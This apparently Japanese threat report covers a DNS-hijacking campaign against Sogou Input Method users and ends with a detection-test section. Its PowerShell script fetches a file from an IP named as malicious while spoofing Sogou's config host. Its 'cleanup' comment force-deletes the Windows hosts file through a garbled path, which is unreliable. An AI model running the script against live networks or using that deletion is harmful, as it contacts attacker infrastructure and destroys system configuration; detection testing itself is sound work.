SlippyNunchucks マルウェアキャンペーンがSogouブランドプロモーションを悪用

概要

SlippyNunchucksと呼ばれる脅威アクターは、Sogou Input Methodが生成する不安全なHTTPトラフィックを傍受するためにDNSハイジャックを使用します。これにより、攻撃者は悪意ある設定を注入し、サイドローディング技術を通じてDarkVigil マルウェアインプラントのダウンロードを開始できます。このキャンペーンは主にアジアとヨーロッパの中国語を話すユーザーを標的としています。

調査

ESETの研究者たちは、このグループが特にSGTool.exeコンポーネントを通じて、Sogou Input Methodのブランドプロモーションメカニズムを悪用していることを発見しました。DNS操作によって、正当な設定エンドポイント用の要求が攻撃者が管理するステージングインフラにリダイレクトされます。調査により、正当なAdobe実行ファイルを名前を変えて隠蔽する多段階のサイドローディングチェーンも明らかになりました。

緩和策

TencentはSogou Input Methodバージョン16.10でこの問題に対処し、影響を受けたHTTP リクエストをHTTPSに移行し、TLS証明書の検証を導入しました。ユーザーは、DNSハイジャック攻撃が悪意ある設定を注入して配信するのを防ぐために、最新の利用可能なソフトウェアバージョンに更新する必要があります。

対応策

悪意のある活動が検出された場合、組織は不正なDNS変更を調査し、接続がある既知のステージングドメイン（例： sogou-cdn.com）のネットワークトラフィックを検査する必要があります。また、セキュリティチームは、予期しないAdobeバイナリの実行や、コンポーネントディレクトリから読み込まれる署名されていないDLLを含む、Sogou Input Method コンポーネントによって生成された不審な子プロセスを監視する必要があります。

シミュレーション実行

前提条件：Telemetry & Baseline Pre-flight Checkが合格していること。

根拠：この節は、検出ルールをトリガーするために設計された敵対技術（TTP）の正確な実行を詳細に記述しています。コマンドとナラティブは識別されたTTPを直接反映し、検出ロジックが期待するまさにそのテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を招きます。

• 攻撃ナラティブ＆コマンド： 敵対者は、 config.pinyin.sogou.com への要求が悪意のあるIPに転送されるDNSハイジャックシナリオをシミュレートすることを目指しています。提供された特定の検出ルールをトリガーするために、シミュレーションはローカルDNSをバイパスし、ルールの条件に一致するハードコードされたIPアドレス（47.239.250.102）を使用します。これは、ハイジャックされたDNS応答がSogouソフトウェアを攻撃者が制御するサーバーにリダイレクトし、ペイロードをダウンロードする瞬間を模倣します。

• 回帰テストスクリプト：

  ＃ハードコードされたIP接続を介したDNSハイジャックシミュレーションにより、特定のルールをトリガーする
  ＃これにより、Sogou Input Methodがその設定サーバに到達しようとしているのを悪意のあるIPにリダイレクトされるのを模倣します。
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] DNSハイジャックのテレメトリー生成シミュレーションを開始しています..."
  
  ＃ハイジャックされたDNS解決の効果を模倣するために直接IP接続を使用します
  ＃多くのプロキシログは、接続がIPを介して行われても、ホストヘッダーを介して要求されたドメインを記録します。
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] $TargetDomainに$MaliciousIPを介して接続を試行しています…"
  
      ＃Invoke-WebRequestを使用して、プロキシを通したネットワークトラフィックをシミュレートします
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] 接続に失敗しました（これは予想されました。IPはオフラインである可能性があります）が、テレメトリは生成されるはずです。"
  }
  
  Write-Host "[*] シミュレーション完了."

• クリーンアップコマンド：

  # このシミュレーションスクリプトによって永続的な変更は行われません。
  # もし追加されたネットワークレベルのアーティファクトがあれば（例：hostsファイル）、次のコマンドを使用してクリーンアップしてください：
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Requires Admin)
  Write-Host "[*] クリーンアップ完了。永続アーティファクトは作成されませんでした。"